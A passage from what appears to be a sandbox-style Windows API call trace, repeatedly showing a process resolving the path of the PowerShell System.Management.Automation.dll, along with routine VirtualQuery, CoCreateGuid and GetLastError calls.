lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.611] GetLastError () returned 0x0 [0075.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.611] GetLastError () returned 0x0 [0075.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.611] GetLastError () returned 0x0 [0075.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.611] GetLastError () returned 0x0 [0075.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.611] GetLastError () returned 0x0 [0075.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.611] GetLastError () returned 0x0 [0075.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.611] GetLastError () returned 0x0 [0075.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.612] GetLastError () returned 0x0 [0075.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.612] GetLastError () returned 0x0 [0075.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.612] GetLastError () returned 0x0 [0075.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.612] GetLastError () returned 0x0 [0075.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.612] GetLastError () returned 0x0 [0075.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.612] GetLastError () returned 0x0 [0075.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.612] GetLastError () returned 0x0 [0075.612] VirtualQuery (in: lpAddress=0x29d300, lpBuffer=0x29e300, dwLength=0x1c | out: lpBuffer=0x29e300*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.613] GetLastError () returned 0x0 [0075.613] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.613] GetLastError () returned 0x0 [0075.613] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.613] GetLastError () returned 0x0 [0075.613] VirtualQuery (in: lpAddress=0x29d300, lpBuffer=0x29e300, dwLength=0x1c | out: lpBuffer=0x29e300*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.613] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.613] GetLastError () returned 0x0 [0075.613] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.613] GetLastError () returned 0x0 [0075.613] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.613] GetLastError () returned 0x0 [0075.613] VirtualQuery (in: lpAddress=0x29d300, lpBuffer=0x29e300, dwLength=0x1c | out: lpBuffer=0x29e300*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.614] VirtualQuery (in: lpAddress=0x29d298, lpBuffer=0x29e298, dwLength=0x1c | out: lpBuffer=0x29e298*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.614] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.615] VirtualQuery (in: lpAddress=0x29d298, lpBuffer=0x29e298, dwLength=0x1c | out: lpBuffer=0x29e298*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.616] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.616] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.616] VirtualQuery (in: lpAddress=0x29d298, lpBuffer=0x29e298, dwLength=0x1c | out: lpBuffer=0x29e298*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.616] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.616] VirtualQuery (in: lpAddress=0x29d298, lpBuffer=0x29e298, dwLength=0x1c | out: lpBuffer=0x29e298*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.617] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.617] VirtualQuery (in: lpAddress=0x29d298, lpBuffer=0x29e298, dwLength=0x1c | out: lpBuffer=0x29e298*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.618] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.618] VirtualQuery (in: lpAddress=0x29d13c, lpBuffer=0x29e13c, dwLength=0x1c | out: lpBuffer=0x29e13c*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.618] VirtualQuery (in: lpAddress=0x29d298, lpBuffer=0x29e298, dwLength=0x1c | out: lpBuffer=0x29e298*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.619] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.619] VirtualQuery (in: lpAddress=0x29d298, lpBuffer=0x29e298, dwLength=0x1c | out: lpBuffer=0x29e298*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.619] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.620] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xc5ebd813, Data2=0xfbe1, Data3=0x4ea9, Data4=([0]=0x80, [1]=0x35, [2]=0xc2, [3]=0xfd, [4]=0x71, [5]=0x3e, [6]=0x85, [7]=0xa4))) returned 0x0 [0075.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.620] GetLastError () returned 0x0 [0075.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.620] GetLastError () returned 0x0 [0075.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.620] GetLastError () returned 0x0 [0075.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.620] GetLastError () returned 0x0 [0075.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.620] GetLastError () returned 0x0 [0075.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.620] GetLastError () returned 0x0 [0075.621] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xe9525855, Data2=0x8c14, Data3=0x440c, Data4=([0]=0xb9, [1]=0x7f, [2]=0x47, [3]=0xdb, [4]=0xe5, [5]=0x18, [6]=0x4b, [7]=0x1b))) returned 0x0 [0075.621] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.621] GetLastError () returned 0x0 [0075.621] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.621] GetLastError () returned 0x0 [0075.621] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.621] GetLastError () returned 0x0 [0075.621] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.621] GetLastError () returned 0x0 [0075.621] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.621] GetLastError () returned 0x0 [0075.621] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.621] GetLastError () returned 0x0 [0075.621] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.621] GetLastError () returned 0x0 [0075.621] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.622] GetLastError () returned 0x0 [0075.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.622] GetLastError () returned 0x0 [0075.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29db20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.622] GetLastError () returned 0x0 [0075.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.622] GetLastError () returned 0x0 [0075.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.622] GetLastError () returned 0x0 [0075.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.622] GetLastError () returned 0x0 [0075.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.622] GetLastError () returned 0x0 [0075.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.622] GetLastError () returned 0x0 [0075.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.622] GetLastError () returned 0x0 [0075.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.622] GetLastError () returned 0x0 [0075.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.623] GetLastError () returned 0x0 [0075.623] VirtualQuery (in: lpAddress=0x29cef4, lpBuffer=0x29def4, dwLength=0x1c | out: lpBuffer=0x29def4*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.623] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29da80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.623] GetLastError () returned 0x0 [0075.623] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29da30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.623] GetLastError () returned 0x0 [0075.623] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29da30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.623] GetLastError () returned 0x0 [0075.623] VirtualQuery (in: lpAddress=0x29cef4, lpBuffer=0x29def4, dwLength=0x1c | out: lpBuffer=0x29def4*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.624] VirtualQuery (in: lpAddress=0x29cf30, lpBuffer=0x29df30, dwLength=0x1c | out: lpBuffer=0x29df30*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.624] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29d8e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.624] GetLastError () returned 0x0 [0075.624] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", 